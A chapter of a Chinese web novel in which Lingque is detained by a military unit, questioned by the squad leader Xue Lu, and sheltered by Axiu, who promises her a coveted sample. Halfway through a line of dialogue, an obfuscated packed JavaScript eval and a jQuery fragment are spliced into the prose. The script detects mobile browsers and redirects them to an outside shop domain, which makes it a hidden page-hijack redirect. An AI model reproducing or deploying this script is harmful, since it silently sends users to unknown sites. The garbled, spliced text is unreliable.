【十四】
凌雀真的去找了，那些蕨类植物要依托藤蔓生长。
她打开了西区现在的地图，确认了标注“藤蔓休憩区”的方向，准备过去试一试。
她独自一人搭乘摆渡车过去。
靠近藤蔓休憩区的边缘，拉了警戒带，还装了监控探头——根据凌雀多年经验，这些监控不会存储，直接从下头走过也不会怎样。
但她还没看到藤蔓，就先注意到了散落在警戒带内附近的人。
不是普通的守卫队，是云端基地行动部——基地最高军事部门，他们的制服比任何地方的制服都要挺括，配枪已经不完全是武器，更像是权力象征，此刻他们正在探查什么，每个人手里都有个圆形探查仪。
看他们肩章的登记，应该不是很高。
凌雀在云端基地被指控罪行时，曾见过行动部数一数二的统帅，那些人年纪都很大，看人的眼神像是看尸体，根本不敢对视。
但无论如何，她都不该靠近这些人。
她下意识避开，但那些人已经侦测到了她，所以她还没后退几步，就被抓了。
他们并未开枪打她，而是把她带回营地关押。
审讯她的是个男性，调出她的资料，问：“你叫塔利亚？”
凌雀：“嗯。”
他垂着眼认真看她的信息，在看到亲属那栏的名字时，有点惊讶。
他又确认了几遍，才说：“阿修的人？”
她来这边干什么。
他又问：“一个人来的？”
但凌雀不理他。
他觉得这女人脑子不好，半天都不说话，他从那扇落地玻璃的反光中打量自己，也不凶啊，她怎么那么怕的样子，于是他对部下说：“先通知阿修，让他来一趟。”
然后目光又落在凌雀身上，他决定换个人去审讯她，免得自己惹上麻烦。
恰好那个347小队的队长回来了。
她是整个行动部唯一的女性。刚执行完任务，衣服上都是树叶和灰尘。他从审讯室出来后，和她打了招呼，然后告诉她里面有个女人，你去审审。
“我去？那肯定没好事。”
队长叫薛露。
薛露走到门口，隔着单层玻璃窗，看到里面被收押的凌雀，长得比她见过的所有女人都瘦弱，总觉得一阵风就能推倒她。
她迈步进来，说她：“你都快坐出去了。”
她紧紧靠着墙，如果墙是空气做得，她估计已经融进去了。
薛露：“我有那么吓人么？”
大概看到是个同性，凌雀终于开口了：“你的人，刚才打我。”
“嗯？”
听到这话，薛露立刻退出去，半晌后又回来，说：“那个队长吧？我刚揍过他了，他说以后都不吓你了。”
她走到身前，将一张纸放在她戴着镣铐的手下：“这是道歉信。”
凌雀睁大眼睛，她就是随便说说，正要拿起来，审讯室外响起什么声音。
薛露蹙眉，然后出去看。
是阿修来了。
刚才喊她进去审讯那人正揽着他的肩膀，一副谄媚的样子：“大驾光临，听说那刚拿下银环蛇最难攻克的三个点，已经把那座花园围了。”
他身侧站着有两个身形修长的人，是他的副官。
“拿下银环蛇指日可待，到时候别忘了我们。”
他没回答，目光越过他，看向薛露。
薛露问：“来找人？”
不等他回答，又立刻说：“你带不走她。私闯禁区，采集受到管制的蕨类植物样本，已经犯罪了，而且……她不是高塔的人吧？”
凌雀被定罪的那段时间，薛露在外面执行任务，没见过她，所以不知道她是谁。
那个揽着他的小队长脸色白下来，要不是靠阿修太近，他一定倒吸一口气。
现在阿修风头正盛，她这算是一点面子都不给了。
阿修也没生气，说：“带不走的话，我住这。”
薛露：“？”
“你有病吗？”
*
晚上，凌雀被摘下手铐，送到了阿修的房间。
她嚅嗫着靠住身后的门，半晌说：“又给你添麻烦了。”
他正伏在桌边写东西。
闻言：“没事。”
顿了顿，他还是问：“你挖那些野菜干什么？吃不饱？”
她当初在花园食堂可是吃了五个小麦饼，很有这个可能。
凌雀说：“说来话长。”
他看出她困了，于是收了手里的东西，说：“先休息吧。”
凌雀“嗯”了声。
她拿了毛巾去洗澡，这里的盥洗室比高塔宿舍要大得多，而且没有热水管控，她可以洗很久，等出来后，氤氲的热气又从阿修的脸侧扫过。他躺在沙发上没睁眼，好像什么都没变，他们还住在那个宿舍里。
凌雀径直躺到床上，伸手关掉灯。
屋里落入黑暗，阿修才开口：“证件更新好了吗？”
凌雀“嗯”了声。
*
第二天，审讯室内，只有他和薛露两个人，薛露甩了一叠文件在桌上，说：“检测营那个苏菲什么都招了。”
“她拿了你的血，偷偷检测，被人看着了。”
“这女人不是好人，你最好小心点。”
阿修垂眼看着那些铺开的纸张，看那些高低错落的线段，他说：“我知道。”
薛露有点恨铁不成钢：“知道你还和她混在一起？”
“色令智昏，真看不出来，你喜欢这样的。”
语气有点不屑，她将报告单用手一推，纸张落在地上，她转身离开时说：“这是你的报告单，你亲自去给她吧。”
房间内，凌雀看着那些纸，一颗心悬起来，眼底涌上惧色，她以为阿修会开枪打他，但他只是低垂着眼看她。
这时候，房间外传出声音
“银环蛇到底多少人？怎么杀不完。”
“高塔里全是他们的人。”
“随便抓一个都是。”
“高塔真是烂完了。”
凌雀：“……”
凌雀问：“你明天还在这里吗？”
阿修回答：“不在。”
白天要去处理银环蛇的事，晚上再过来睡觉。
凌雀：“我一个人也行。”
阿修：“真的？那我走了。”
凌雀愣住。
但他没有走，而是笑了一下，关了灯：“睡吧，别放心上。”
但是凌雀睡不着，望着漆黑的天花板，她问：“你怎么想？”
阿修的声音从沙发上传来：“什么怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633156|206473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想？”
凌雀：“我偷你的血去检验。”
“我不想这事。”顿了顿，他说，“你说证件更新的时候，我就知道了，没什么。”
他知道，她为什么跟着他。
因为那些溃烂的伤口。
如果能查清楚也是好事。
凌雀：“我……”
阿修：“我知道你想回云端，如果是我，我也想回。”
他好像翻了个身，有衣服窸窸窣窣的声音，等声音停下，他说：“等我解决掉银环蛇，拿到花园的管控权，把那个样本送给你。”
维克多教授带过来的、目前在R手里的零号样本，桑宁为了它不惜背叛她。
阿修的嗓音很沉：“那个样本比我好。”
说完，他就闭上眼，白天消耗了太多精力，他是真的睡着了，一只手从沙发边缘垂落。
凌雀翻身看他，一颗心在此刻震颤。
他刚刚说了什么？
忽然想起第一次见他，他用几近残废的手关上那扇门，门外尸潮涌动，门内，他与她对望，那时候她光恐惧，没注意到，那双铅灰色的眼眸是多么璀璨。
白天到来时，他真的走了。
他留下了一些弹盒，427先锋队最擅长远程射击，这种子弹消耗很快。
凌雀出去时，347小队的人正在做饭，有炊烟从周围三个地方升起，泥地上撑起了桌子，薛露丢了一双筷子在靠近她的桌面上：“有你的饭，阿修替你交了饭钱。”
凌雀默默坐下，薛露又给她拿了碗，碗里有些掌心大的饼。
她问：“你们怎么认识的？”
凌雀刚要张口，忽然意识到，她问的应该是塔利亚和阿修怎么认识的。
她不知道。
她咬住筷子不说话。
“还真是不爱说话。”薛露说，“我缺人手，吃了我的饭，和我上战场。”
凌雀“嗯？”了声。
薛露不是开玩笑，吃完饭，她把她拉到了训练场，临时开辟的一块地方，远处有一排长条桌子，桌子上放了很多空玻璃瓶，有大有小，有的杯口还放了别的什么。
凌雀拿起薛露给的枪。
这个距离很远，她凭借感觉开了一枪。
大概是和目标偏离太多，空气里有短暂的尴尬。
薛露问：“他没教过你吗？我们这里每个人，都没有他枪法好。”
凌雀摇头。
薛露问：“他以前干什么的？”
凌雀说：“高塔花匠。”
“花匠？”
“嗯，一个月工资有三百块。”
但是没钱交水费，欠了五个月。
薛露：“工资都交给你吗？”
“不是，自己支配。”
不然也不会欠了五个月水费。
薛露：“哦，看到那个了吗，射击。”
凌雀连着开了几枪。
薛露对结果似乎有点想笑，她说：“好玩吧。你自己玩一会儿，下午我检查，如果射不中五个，就没晚饭。”
凌雀：“？”
薛露走了，整个训练场就剩下她一个人。
其实以前跟桑宁学过一些，她记得他说过，要注意风，远程射击，一点察觉不到的风都可以改变弹道，她举起枪，光从枪口反射了一点光。砰，她开枪。